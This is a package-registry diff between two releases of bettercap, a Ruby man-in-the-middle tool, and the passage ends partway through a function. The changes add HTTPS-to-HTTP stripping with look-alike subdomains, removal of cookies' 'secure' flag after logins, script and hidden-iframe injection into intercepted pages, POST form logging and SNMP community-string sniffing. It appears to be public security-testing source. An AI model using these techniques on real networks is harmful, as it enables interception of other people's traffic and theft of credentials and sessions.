bettercap 1.3.7 → 1.3.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/bettercap.rb +2 -3
- data/lib/bettercap/context.rb +8 -2
- data/lib/bettercap/logger.rb +14 -0
- data/lib/bettercap/network/protos/snmp.rb +49 -0
- data/lib/bettercap/options.rb +23 -36
- data/lib/bettercap/proxy/modules/injectcss.rb +1 -1
- data/lib/bettercap/proxy/modules/injecthtml.rb +1 -1
- data/lib/bettercap/proxy/modules/injectjs.rb +1 -1
- data/lib/bettercap/proxy/proxy.rb +11 -5
- data/lib/bettercap/proxy/request.rb +14 -1
- data/lib/bettercap/proxy/response.rb +18 -2
- data/lib/bettercap/proxy/sslstrip/cookiemonitor.rb +4 -0
- data/lib/bettercap/proxy/sslstrip/strip.rb +138 -25
- data/lib/bettercap/proxy/stream_logger.rb +78 -13
- data/lib/bettercap/proxy/streamer.rb +10 -2
- data/lib/bettercap/sniffer/parsers/post.rb +1 -16
- data/lib/bettercap/sniffer/parsers/snmp.rb +44 -0
- data/lib/bettercap/sniffer/sniffer.rb +26 -16
- data/lib/bettercap/spoofers/arp.rb +4 -1
- data/lib/bettercap/version.rb +1 -1
- metadata +4 -3
- data/lib/bettercap/proxy/sslstrip/urlmonitor.rb +0 -53
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 97b1b49dc607820e776704bce9ca73d9bcb55b0b
|
4
|
+
data.tar.gz: 194f31c34fecf4695f9b7a5728cebcab3a1bc0f2
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: f2eff4d44d1e1db62e406de421c458c97e9a8cba55d554ad2465d7cb019b488f8e961f8e5a304865c8e9a390df343cddb32d87585a99979d1279d4a832cc1498
|
7
|
+
data.tar.gz: 24249e328e6ffb0a082d7058d0aacdaa6c75fdec75e820274d266f0f41a6686c781b4a91141fa52aa2bf9b6a1caf935ec6b5880ec42b6f4f7c95dd2087d078d5
|
data/lib/bettercap.rb
CHANGED
@@ -27,7 +27,7 @@ require 'uri'
|
|
27
27
|
Object.send :remove_const, :Config rescue nil
|
28
28
|
Config = RbConfig
|
29
29
|
|
30
|
-
def
|
30
|
+
def bettercap_autoload( path = '' )
|
31
31
|
dir = File.dirname(__FILE__) + "/bettercap/#{path}"
|
32
32
|
deps = []
|
33
33
|
files = []
|
@@ -47,7 +47,6 @@ def autoload( path = '' )
|
|
47
47
|
( deps + files ).each do |file|
|
48
48
|
require file
|
49
49
|
end
|
50
|
-
|
51
50
|
end
|
52
51
|
|
53
|
-
|
52
|
+
bettercap_autoload
|
data/lib/bettercap/context.rb
CHANGED
@@ -60,7 +60,7 @@ class Context
|
|
60
60
|
iface = PCAPRUB::Pcap.lookupdev
|
61
61
|
rescue Exception => e
|
62
62
|
iface = nil
|
63
|
-
Logger.
|
63
|
+
Logger.exception e
|
64
64
|
end
|
65
65
|
|
66
66
|
@running = true
|
@@ -156,6 +156,10 @@ class Context
|
|
156
156
|
end
|
157
157
|
end
|
158
158
|
|
159
|
+
def post_sniffer_enabled?
|
160
|
+
( @options.sniffer and @options.parsers.include?('POST') )
|
161
|
+
end
|
162
|
+
|
159
163
|
# Stop every running daemon that was started and reset system state.
|
160
164
|
def finalize
|
161
165
|
@running = false
|
@@ -196,7 +200,7 @@ class Context
|
|
196
200
|
|
197
201
|
# Apply needed BetterCap::Firewalls::Redirection objects.
|
198
202
|
def enable_port_redirection!
|
199
|
-
@redirections = @options.
|
203
|
+
@redirections = @options.get_redirections(@ifconfig)
|
200
204
|
@redirections.each do |r|
|
201
205
|
Logger.debug "Redirecting #{r.protocol} traffic from port #{r.src_port} to #{r.dst_address}:#{r.dst_port}"
|
202
206
|
@firewall.add_port_redirection( r )
|
@@ -231,6 +235,8 @@ class Context
|
|
231
235
|
end
|
232
236
|
rescue Exception => e
|
233
237
|
Logger.warn "Error with proxy module: #{e.message}"
|
238
|
+
Logger.exception e
|
239
|
+
|
234
240
|
response = original
|
235
241
|
end
|
236
242
|
end
|
data/lib/bettercap/logger.rb
CHANGED
@@ -37,6 +37,20 @@ module Logger
|
|
37
37
|
@@ctx = Context.get
|
38
38
|
end
|
39
39
|
|
40
|
+
# Log the exception +e+, if this is a beta version, log it as a warning,
|
41
|
+
# otherwise as a debug message.
|
42
|
+
def exception(e)
|
43
|
+
msg = "Exception : #{e.class}\n" +
|
44
|
+
"Message : #{e.message}\n" +
|
45
|
+
"Backtrace :\n\n #{e.backtrace.join("\n ")}\n"
|
46
|
+
|
47
|
+
if BetterCap::VERSION.end_with?('b')
|
48
|
+
self.warn(msg)
|
49
|
+
else
|
50
|
+
self.debug(msg)
|
51
|
+
end
|
52
|
+
end
|
53
|
+
|
40
54
|
# Log an error +message+.
|
41
55
|
def error(message)
|
42
56
|
@@queue.push formatted_message(message, 'E').red
|
@@ -0,0 +1,49 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
SNMP network protos:
|
11
|
+
Author : Matteo Cantoni
|
12
|
+
Email : matteo.cantoni@nothink.org
|
13
|
+
|
14
|
+
This project is released under the GPL 3 license.
|
15
|
+
|
16
|
+
Todo:
|
17
|
+
- add SNMPv1 PDU structure
|
18
|
+
- add SNMPv2 support
|
19
|
+
|
20
|
+
=end
|
21
|
+
|
22
|
+
module BetterCap
|
23
|
+
module Network
|
24
|
+
module Protos
|
25
|
+
module SNMP
|
26
|
+
|
27
|
+
# https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
|
28
|
+
# http://docwiki.cisco.com/wiki/Simple_Network_Management_Protocol
|
29
|
+
class Packet < Network::Protos::Base
|
30
|
+
|
31
|
+
#0000 30 29 02 01 00 04 06 70 75 62 6c 69 63 a1 1c 02
|
32
|
+
#0010 04 36 eb 8d d1 02 01 00 02 01 00 30 0e 30 0c 06
|
33
|
+
#0020 08 2b 06 01 02 01 01 01 00 05 00
|
34
|
+
|
35
|
+
uint16 :snmp_asn_decode # 30 29
|
36
|
+
|
37
|
+
uint8 :snmp_version_type # 02
|
38
|
+
uint8 :snmp_version_length # 01
|
39
|
+
uint8 :snmp_version_number # 00
|
40
|
+
|
41
|
+
uint8 :snmp_community_type # 04
|
42
|
+
uint8 :snmp_community_length # 06
|
43
|
+
bytes :snmp_community_string, :size => :snmp_community_length # 70 75 62 6c 69 63
|
44
|
+
end
|
45
|
+
|
46
|
+
end
|
47
|
+
end
|
48
|
+
end
|
49
|
+
end
|
data/lib/bettercap/options.rb
CHANGED
@@ -184,7 +184,7 @@ class Options
|
|
184
184
|
end
|
185
185
|
|
186
186
|
opts.on( '--ignore ADDRESS1,ADDRESS2', 'Ignore these addresses if found while searching for targets.' ) do |v|
|
187
|
-
ctx.options.
|
187
|
+
ctx.options.parse_ignore!(v)
|
188
188
|
end
|
189
189
|
|
190
190
|
opts.on( '-O', '--log LOG_FILE', 'Log all messages into a file, if not specified the log messages will be only print into the shell.' ) do |v|
|
@@ -269,11 +269,11 @@ class Options
|
|
269
269
|
end
|
270
270
|
|
271
271
|
opts.on( '--http-ports PORT1,PORT2', 'Comma separated list of HTTP ports to redirect to the proxy, default to ' + ctx.options.http_ports.join(', ') + ' .' ) do |v|
|
272
|
-
ctx.options.http_ports = v
|
272
|
+
ctx.options.http_ports = ctx.options.parse_ports( v )
|
273
273
|
end
|
274
274
|
|
275
275
|
opts.on( '--https-ports PORT1,PORT2', 'Comma separated list of HTTPS ports to redirect to the proxy, default to ' + ctx.options.https_ports.join(', ') + ' .' ) do |v|
|
276
|
-
ctx.options.https_ports = v
|
276
|
+
ctx.options.https_ports = ctx.options.parse_ports( v )
|
277
277
|
end
|
278
278
|
|
279
279
|
opts.on( '--proxy-https-port PORT', 'Set HTTPS proxy port, default to ' + ctx.options.proxy_https_port.to_s + ' .' ) do |v|
|
@@ -293,7 +293,7 @@ class Options
|
|
293
293
|
end
|
294
294
|
|
295
295
|
opts.on( '--custom-proxy ADDRESS', 'Use a custom HTTP upstream proxy instead of the builtin one.' ) do |v|
|
296
|
-
ctx.options.
|
296
|
+
ctx.options.parse_custom_proxy!(v)
|
297
297
|
end
|
298
298
|
|
299
299
|
opts.on( '--custom-proxy-port PORT', 'Specify a port for the custom HTTP upstream proxy, default to ' + ctx.options.custom_proxy_port.to_s + ' .' ) do |v|
|
@@ -305,7 +305,7 @@ class Options
|
|
305
305
|
end
|
306
306
|
|
307
307
|
opts.on( '--custom-https-proxy ADDRESS', 'Use a custom HTTPS upstream proxy instead of the builtin one.' ) do |v|
|
308
|
-
ctx.options.
|
308
|
+
ctx.options.parse_custom_proxy!( v, true )
|
309
309
|
end
|
310
310
|
|
311
311
|
opts.on( '--custom-https-proxy-port PORT', 'Specify a port for the custom HTTPS upstream proxy, default to ' + ctx.options.custom_https_proxy_port.to_s + ' .' ) do |v|
|
@@ -374,7 +374,7 @@ class Options
|
|
374
374
|
end
|
375
375
|
|
376
376
|
unless ctx.options.target.nil?
|
377
|
-
ctx.targets = ctx.options.
|
377
|
+
ctx.targets = ctx.options.parse_targets
|
378
378
|
end
|
379
379
|
|
380
380
|
# Load firewall instance, network interface informations and detect the
|
@@ -382,7 +382,7 @@ class Options
|
|
382
382
|
ctx.update!
|
383
383
|
|
384
384
|
# Spoofers need the context network data to be initialized.
|
385
|
-
ctx.spoofer = ctx.options.
|
385
|
+
ctx.spoofer = ctx.options.parse_spoofers
|
386
386
|
|
387
387
|
ctx
|
388
388
|
end
|
@@ -412,9 +412,11 @@ class Options
|
|
412
412
|
!@ignore.nil? and @ignore.include?(ip)
|
413
413
|
end
|
414
414
|
|
415
|
+
# Parsing Routines
|
416
|
+
|
415
417
|
# Setter for the #ignore attribute, will raise a BetterCap::Error if one
|
416
418
|
# or more invalid IP addresses are specified.
|
417
|
-
def
|
419
|
+
def parse_ignore!(value)
|
418
420
|
@ignore = value.split(",")
|
419
421
|
valid = @ignore.select { |target| Network.is_ip?(target) }
|
420
422
|
|
@@ -430,23 +432,20 @@ class Options
|
|
430
432
|
Logger.warn "Ignoring #{valid.join(", ")} ."
|
431
433
|
end
|
432
434
|
|
433
|
-
# Setter for the #custom_proxy attribute, will raise a
|
434
|
-
# +value+ is not a valid IP address.
|
435
|
-
def
|
436
|
-
|
437
|
-
|
438
|
-
|
439
|
-
|
440
|
-
|
441
|
-
|
442
|
-
def custom_https_proxy=(value)
|
443
|
-
@custom_https_proxy = value
|
444
|
-
raise BetterCap::Error, 'Invalid custom HTTPS upstream proxy address specified.' unless Network.is_ip? @custom_https_proxy
|
435
|
+
# Setter for the #custom_proxy or #custom_https_proxy attribute, will raise a
|
436
|
+
# BetterCap::Error if +value+ is not a valid IP address.
|
437
|
+
def parse_custom_proxy!(value, https=false)
|
438
|
+
raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network.is_ip?(value)
|
439
|
+
if https
|
440
|
+
@custom_proxy = value
|
441
|
+
else
|
442
|
+
@custom_https_proxy = value
|
443
|
+
end
|
445
444
|
end
|
446
445
|
|
447
446
|
# Parse a comma separated list of ports and return an array containing only
|
448
447
|
# valid ports, raise BetterCap::Error if that array is empty.
|
449
|
-
def
|
448
|
+
def parse_ports(value)
|
450
449
|
ports = []
|
451
450
|
value.split(",").each do |v|
|
452
451
|
v = v.strip.to_i
|
@@ -458,21 +457,9 @@ class Options
|
|
458
457
|
ports
|
459
458
|
end
|
460
459
|
|
461
|
-
# Setter for the #http_ports attribute, will raise a BetterCap::Error if +value+
|
462
|
-
# is not a valid comma separated list of ports.
|
463
|
-
def http_ports=(value)
|
464
|
-
@http_ports = to_ports(value)
|
465
|
-
end
|
466
|
-
|
467
|
-
# Setter for the #https_ports attribute, will raise a BetterCap::Error if +value+
|
468
|
-
# is not a valid comma separated list of ports.
|
469
|
-
def https_ports=(value)
|
470
|
-
@https_ports = to_ports(value)
|
471
|
-
end
|
472
|
-
|
473
460
|
# Split specified targets and parse them ( either as IP or MAC ), will raise a
|
474
461
|
# BetterCap::Error if one or more invalid addresses are specified.
|
475
|
-
def
|
462
|
+
def parse_targets
|
476
463
|
targets = @target.split(",")
|
477
464
|
valid_targets = targets.select { |target| Network.is_ip?(target) or Network.is_mac?(target) }
|
478
465
|
|
@@ -488,7 +475,7 @@ class Options
|
|
488
475
|
|
489
476
|
# Parse spoofers and return a list of BetterCap::Spoofers objects. Raise a
|
490
477
|
# BetterCap::Error if an invalid spoofer name was specified.
|
491
|
-
def
|
478
|
+
def parse_spoofers
|
492
479
|
spoofers = []
|
493
480
|
spoofer_modules_names = @spoofer.split(",")
|
494
481
|
spoofer_modules_names.each do |module_name|
|
@@ -504,7 +491,7 @@ class Options
|
|
504
491
|
|
505
492
|
# Create a list of BetterCap::Firewalls::Redirection objects which are needed
|
506
493
|
# given the specified command line arguments.
|
507
|
-
def
|
494
|
+
def get_redirections ifconfig
|
508
495
|
redirections = []
|
509
496
|
|
510
497
|
if @dnsd
|
@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
|
|
56
56
|
def on_request( request, response )
|
57
57
|
# is it a html page?
|
58
58
|
if response.content_type =~ /^text\/html.*/
|
59
|
-
BetterCap::Logger.info "Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
|
59
|
+
BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
|
60
60
|
# inject URL
|
61
61
|
if @@cssdata.nil?
|
62
62
|
response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
|
@@ -44,7 +44,7 @@ class InjectHTML < BetterCap::Proxy::Module
|
|
44
44
|
def on_request( request, response )
|
45
45
|
# is it a html page?
|
46
46
|
if response.content_type =~ /^text\/html.*/
|
47
|
-
BetterCap::Logger.info "Injecting HTML code into http://#{request.host}#{request.url}"
|
47
|
+
BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into http://#{request.host}#{request.url}"
|
48
48
|
|
49
49
|
if @@data.nil?
|
50
50
|
response.body.sub!( '</body>', "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>" )
|
@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
|
|
56
56
|
def on_request( request, response )
|
57
57
|
# is it a html page?
|
58
58
|
if response.content_type =~ /^text\/html.*/
|
59
|
-
BetterCap::Logger.info "Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
|
59
|
+
BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
|
60
60
|
# inject URL
|
61
61
|
if @@jsdata.nil?
|
62
62
|
response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
|
@@ -121,8 +121,11 @@ class Proxy
|
|
121
121
|
|
122
122
|
request.read(client)
|
123
123
|
|
124
|
+
# stripped request
|
125
|
+
if @streamer.was_stripped?( request, client )
|
126
|
+
@streamer.handle( request, client )
|
124
127
|
# someone is having fun with us =)
|
125
|
-
|
128
|
+
elsif is_self_request? request
|
126
129
|
@streamer.rickroll( client, @is_https )
|
127
130
|
# handle request
|
128
131
|
else
|
@@ -131,11 +134,14 @@ class Proxy
|
|
131
134
|
|
132
135
|
Logger.debug "#{@type} client served."
|
133
136
|
|
137
|
+
rescue SocketError => se
|
138
|
+
Logger.debug "Socket error while serving client: #{e.message}"
|
139
|
+
Logger.exception e
|
140
|
+
rescue Errno::EPIPE => ep
|
141
|
+
Logger.debug "Connection closed while serving client."
|
134
142
|
rescue Exception => e
|
135
|
-
|
136
|
-
|
137
|
-
Logger.debug e.backtrace.join("\n")
|
138
|
-
end
|
143
|
+
Logger.warn "Error while serving client: #{e.message}"
|
144
|
+
Logger.exception e
|
139
145
|
end
|
140
146
|
|
141
147
|
client.close
|
@@ -143,11 +143,18 @@ class Request
|
|
143
143
|
@lines.join("\n") + "\n" + ( @body || '' )
|
144
144
|
end
|
145
145
|
|
146
|
+
def base_url
|
147
|
+
schema = if port == 443 then 'https' else 'http' end
|
148
|
+
"#{schema}://#{@host}/"
|
149
|
+
end
|
150
|
+
|
146
151
|
# Return the full request URL trimming it at +max_length+ characters.
|
147
152
|
def to_url(max_length = 50)
|
148
153
|
schema = if port == 443 then 'https' else 'http' end
|
149
154
|
url = "#{schema}://#{@host}#{@url}"
|
150
|
-
|
155
|
+
unless max_length.nil?
|
156
|
+
url = url.slice(0..max_length) + '...' unless url.length <= max_length
|
157
|
+
end
|
151
158
|
url
|
152
159
|
end
|
153
160
|
|
@@ -174,10 +181,16 @@ class Request
|
|
174
181
|
end
|
175
182
|
end
|
176
183
|
|
184
|
+
if name == 'Host'
|
185
|
+
@host = value
|
186
|
+
end
|
187
|
+
|
177
188
|
if !found and !value.nil?
|
178
189
|
@headers[name] = value
|
179
190
|
@lines << "#{name}: #{value}"
|
180
191
|
end
|
192
|
+
|
193
|
+
@lines.reject!(&:empty?)
|
181
194
|
end
|
182
195
|
end
|
183
196
|
end
|
@@ -24,7 +24,7 @@ class Response
|
|
24
24
|
# True if this is a chunked encoded response, otherwise false.
|
25
25
|
attr_reader :chunked
|
26
26
|
# A list of response headers.
|
27
|
-
|
27
|
+
attr_accessor :headers
|
28
28
|
# Response status code.
|
29
29
|
attr_accessor :code
|
30
30
|
# True if the parser finished to parse the headers, otherwise false.
|
@@ -81,7 +81,15 @@ class Response
|
|
81
81
|
def convert_webrick_response!(response)
|
82
82
|
self << "HTTP/#{response.http_version} #{response.code} #{response.msg}"
|
83
83
|
response.each do |key,value|
|
84
|
-
|
84
|
+
# sometimes webrick joins all 'set-cookie' headers
|
85
|
+
# which might cause issues with HSTS bypass.
|
86
|
+
if key == 'set-cookie'
|
87
|
+
response.get_fields('set-cookie').each do |v|
|
88
|
+
self << "Set-Cookie: #{v}"
|
89
|
+
end
|
90
|
+
else
|
91
|
+
self << "#{key.gsub(/\bwww|^te$|\b\w/){ $&.upcase }}: #{value}"
|
92
|
+
end
|
85
93
|
end
|
86
94
|
self << "\n"
|
87
95
|
@code = response.code
|
@@ -158,6 +166,14 @@ class Response
|
|
158
166
|
end
|
159
167
|
end
|
160
168
|
|
169
|
+
def each_header(name)
|
170
|
+
@headers.each_with_index do |header,i|
|
171
|
+
if header =~ /^#{name}:\s*(.+)$/i
|
172
|
+
yield( $1, i )
|
173
|
+
end
|
174
|
+
end
|
175
|
+
end
|
176
|
+
|
161
177
|
# Return a string representation of this response object, patching the
|
162
178
|
# Content-Length header if the #body was modified.
|
163
179
|
def to_s
|
@@ -15,6 +15,73 @@ module BetterCap
|
|
15
15
|
module Proxy
|
16
16
|
module SSLStrip
|
17
17
|
|
18
|
+
# Represent a stripped url associated to the client that requested it.
|
19
|
+
class StrippedObject
|
20
|
+
# The stripped request client address.
|
21
|
+
attr_accessor :client
|
22
|
+
# The original URL.
|
23
|
+
attr_accessor :original
|
24
|
+
# The stripped version of the URL.
|
25
|
+
attr_accessor :stripped
|
26
|
+
|
27
|
+
# Known subdomains to replace.
|
28
|
+
SUBDOMAIN_REPLACES = {
|
29
|
+
'www' => 'wwwww',
|
30
|
+
'webmail' => 'wwebmail',
|
31
|
+
'mail' => 'wmail'
|
32
|
+
}.freeze
|
33
|
+
|
34
|
+
# Create an instance with the given arguments.
|
35
|
+
def initialize( client, original, stripped )
|
36
|
+
@client = client
|
37
|
+
@original = original
|
38
|
+
@stripped = stripped
|
39
|
+
end
|
40
|
+
|
41
|
+
# Return a normalized version of +url+.
|
42
|
+
def self.normalize( url, schema = 'https' )
|
43
|
+
# add schema if needed
|
44
|
+
unless url.include?('://')
|
45
|
+
url = "#{schema}://#{url}"
|
46
|
+
end
|
47
|
+
# add path if needed
|
48
|
+
unless url.end_with?('/')
|
49
|
+
url = "#{url}/"
|
50
|
+
end
|
51
|
+
url
|
52
|
+
end
|
53
|
+
|
54
|
+
# Downgrade +url+ from HTTPS to HTTP.
|
55
|
+
# Will take care of HSTS bypass urls in a near future.
|
56
|
+
def self.strip( url )
|
57
|
+
# first thing first, downgrade the protocol schema
|
58
|
+
stripped = url.gsub( 'https://', 'http://' )
|
59
|
+
# search for a known subdomain and replace it
|
60
|
+
found = false
|
61
|
+
SUBDOMAIN_REPLACES.each do |from,to|
|
62
|
+
if stripped.include?( "://#{from}." )
|
63
|
+
stripped = stripped.gsub( "://#{from}.", "://#{to}." )
|
64
|
+
found = true
|
65
|
+
break
|
66
|
+
end
|
67
|
+
end
|
68
|
+
# fallback, prepend custom 'wwwww.'
|
69
|
+
unless found
|
70
|
+
stripped.gsub!( '://', '://wwwww.' )
|
71
|
+
end
|
72
|
+
|
73
|
+
Logger.debug "[#{'SSLSTRIP'.green} '#{url}' -> '#{stripped}'"
|
74
|
+
|
75
|
+
stripped
|
76
|
+
end
|
77
|
+
|
78
|
+
def self.process( url )
|
79
|
+
normalized = self.normalize(url)
|
80
|
+
stripped = self.strip(normalized)
|
81
|
+
[ normalized, stripped ]
|
82
|
+
end
|
83
|
+
end
|
84
|
+
|
18
85
|
# Handle SSL stripping.
|
19
86
|
class Strip
|
20
87
|
# Maximum number of redirects to detect a HTTPS redirect loop.
|
@@ -24,9 +91,29 @@ class Strip
|
|
24
91
|
|
25
92
|
# Create an instance of this object.
|
26
93
|
def initialize
|
27
|
-
@
|
28
|
-
@cookies
|
29
|
-
@favicon
|
94
|
+
@stripped = []
|
95
|
+
@cookies = CookieMonitor.new
|
96
|
+
@favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
|
97
|
+
end
|
98
|
+
|
99
|
+
# Return true if the +request+ was stripped.
|
100
|
+
def was_stripped?(request)
|
101
|
+
url = request.base_url
|
102
|
+
@stripped.each do |s|
|
103
|
+
if s.client == request.client and s.stripped == url
|
104
|
+
return true
|
105
|
+
end
|
106
|
+
end
|
107
|
+
false
|
108
|
+
end
|
109
|
+
|
110
|
+
def unstrip( request, url )
|
111
|
+
@stripped.each do |s|
|
112
|
+
if s.client == request.client and s.stripped == url
|
113
|
+
return s.original
|
114
|
+
end
|
115
|
+
end
|
116
|
+
url
|
30
117
|
end
|
31
118
|
|
32
119
|
# Check if the +request+ is a result of a stripped link/redirect and handle
|
@@ -86,18 +173,30 @@ class Strip
|
|
86
173
|
# If the +request+ is a result of a sslstripping operation,
|
87
174
|
# proxy it via SSL.
|
88
175
|
def process_stripped!(request)
|
89
|
-
|
90
|
-
|
91
|
-
|
92
|
-
|
176
|
+
if request.port == 80 and was_stripped?(request)
|
177
|
+
# i.e: wwww.facebook.com
|
178
|
+
stripped = request['Host']
|
179
|
+
# i.e: http://wwww.facebook.com/
|
180
|
+
url = StrippedObject.normalize( stripped, 'http' )
|
181
|
+
# i.e: www.facebook.com
|
182
|
+
unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub('/', '' )
|
183
|
+
|
184
|
+
# loop each header and fix the stripped url if needed,
|
185
|
+
# this will fix headers such as Host, Referer, Origin, etc.
|
186
|
+
request.headers.each do |name,value|
|
187
|
+
if value.include?(stripped)
|
188
|
+
request[name] = value.gsub( stripped, unstripped ).gsub( 'http://', 'https://')
|
189
|
+
end
|
190
|
+
end
|
93
191
|
request.port = 443
|
192
|
+
|
193
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{url}', proxying via SSL ( #{request.to_url} )."
|
94
194
|
end
|
95
195
|
end
|
96
196
|
|
97
197
|
# If +request+ is the favicon of a stripped host, send our spoofed lock icon.
|
98
198
|
def spoof_favicon!(request)
|
99
|
-
|
100
|
-
if @urls.was_stripped?( request.client, link ) and is_favicon?(request)
|
199
|
+
if was_stripped?(request) and is_favicon?(request)
|
101
200
|
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending spoofed favicon '#{request.to_url }'."
|
102
201
|
return @favicon
|
103
202
|
end
|
@@ -114,17 +213,34 @@ class Strip
|
|
114
213
|
def process_redirection!(request,response)
|
115
214
|
# check for a redirect
|
116
215
|
if response['Location'].start_with?('https://')
|
117
|
-
|
118
|
-
|
119
|
-
@
|
216
|
+
original, stripped = StrippedObject.process( response['Location'] )
|
217
|
+
|
218
|
+
@stripped << StrippedObject.new( request.client, original, stripped )
|
120
219
|
|
121
|
-
# The request will be retried on port 443 if MAX_REDIRECTS is not reached.
|
122
|
-
request.port = 443
|
123
220
|
# If MAX_REDIRECTS is reached, the 'Location' header will be used.
|
124
|
-
response['Location'] =
|
221
|
+
response['Location'] = stripped
|
125
222
|
|
126
|
-
#
|
127
|
-
|
223
|
+
# no cookies set, just a normal http -> https redirect
|
224
|
+
if response['Set-Cookie'].empty?
|
225
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS '#{original}' -> '#{stripped}'."
|
226
|
+
|
227
|
+
# The request will be retried on port 443 if MAX_REDIRECTS is not reached.
|
228
|
+
request.port = 443
|
229
|
+
# retry the request if possible
|
230
|
+
return true
|
231
|
+
# cookies set, this is probably a redirect after a login.
|
232
|
+
else
|
233
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS ( with cookies ) '#{original}' -> '#{stripped}'."
|
234
|
+
# we know this session, do not kill it!
|
235
|
+
@cookies.add!( request )
|
236
|
+
# remove the 'secure' descriptor from every cookie
|
237
|
+
response.each_header('Set-Cookie') do |value,i|
|
238
|
+
response.headers[i] = "Set-Cookie: #{value.gsub( /secure/, '' )}"
|
239
|
+
end
|
240
|
+
|
241
|
+
# do not retry request
|
242
|
+
return false
|
243
|
+
end
|
128
244
|
end
|
129
245
|
false
|
130
246
|
end
|
@@ -136,22 +252,19 @@ class Strip
|
|
136
252
|
begin
|
137
253
|
response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
|
138
254
|
if link[0].include?('.')
|
139
|
-
|
140
|
-
downgraded = @urls.downgrade( link )
|
141
|
-
|
142
|
-
links << [link, downgraded]
|
255
|
+
links << StrippedObject.process( link[0] )
|
143
256
|
end
|
144
257
|
end
|
145
258
|
# handle errors due to binary content
|
146
259
|
rescue; end
|
147
260
|
|
148
261
|
unless links.empty?
|
149
|
-
Logger.
|
262
|
+
Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
|
150
263
|
|
151
264
|
links.each do |l|
|
152
|
-
|
153
|
-
@
|
154
|
-
response.body.gsub!(
|
265
|
+
original, stripped = l
|
266
|
+
@stripped << StrippedObject.new( request.client, original, stripped )
|
267
|
+
response.body.gsub!( original, stripped )
|
155
268
|
end
|
156
269
|
end
|
157
270
|
end
|
@@ -10,7 +10,9 @@ Blog : http://www.evilsocket.net/
|
|
10
10
|
This project is released under the GPL 3 license.
|
11
11
|
|
12
12
|
=end
|
13
|
-
require '
|
13
|
+
require 'zlib'
|
14
|
+
require 'stringio'
|
15
|
+
require 'json'
|
14
16
|
|
15
17
|
module BetterCap
|
16
18
|
# Raw or http streams pretty logging.
|
@@ -30,18 +32,16 @@ class StreamLogger
|
|
30
32
|
# its compact string representation ( @see BetterCap::Target#to_s_compact ).
|
31
33
|
def self.addr2s( addr, alt = nil )
|
32
34
|
ctx = Context.get
|
33
|
-
|
35
|
+
# check for the local address
|
34
36
|
return 'local' if addr == ctx.ifconfig[:ip_saddr]
|
35
|
-
|
37
|
+
# is it a known target?
|
36
38
|
target = ctx.find_target addr, nil
|
37
39
|
return target.to_s_compact unless target.nil?
|
38
|
-
|
39
|
-
if addr == '0.0.0.0' and !alt.nil?
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
end
|
44
|
-
|
40
|
+
# fix 0.0.0.0 if alt argument was specified
|
41
|
+
return alt if addr == '0.0.0.0' and !alt.nil?
|
42
|
+
# fix broadcast -> *
|
43
|
+
return '*' if addr == '255.255.255.255'
|
44
|
+
# nothing found, return the address as it is
|
45
45
|
addr
|
46
46
|
end
|
47
47
|
|
@@ -74,21 +74,82 @@ class StreamLogger
|
|
74
74
|
to = self.addr2s( pkt.ip_daddr, pkt.eth2s(:dst) )
|
75
75
|
|
76
76
|
if pkt.respond_to?('tcp_dst')
|
77
|
-
to += ':' + self.service( :tcp, pkt.tcp_dst ).to_s
|
77
|
+
to += ':' + self.service( :tcp, pkt.tcp_dst ).to_s.light_blue
|
78
78
|
elsif pkt.respond_to?('udp_dst')
|
79
|
-
to += ':' + self.service( :udp, pkt.udp_dst ).to_s
|
79
|
+
to += ':' + self.service( :udp, pkt.udp_dst ).to_s.light_blue
|
80
80
|
end
|
81
81
|
|
82
82
|
Logger.raw( "[#{from} > #{to}] [#{label.green}]#{nl}#{payload.strip}" )
|
83
83
|
end
|
84
84
|
|
85
|
+
def self.dump_form( request )
|
86
|
+
msg = ''
|
87
|
+
request.body.split('&').each do |v|
|
88
|
+
name, value = v.split('=')
|
89
|
+
name ||= ''
|
90
|
+
value ||= ''
|
91
|
+
msg << " #{name.blue} : #{URI.unescape(value).yellow}\n"
|
92
|
+
end
|
93
|
+
msg
|
94
|
+
end
|
95
|
+
|
96
|
+
def self.dump_raw( data )
|
97
|
+
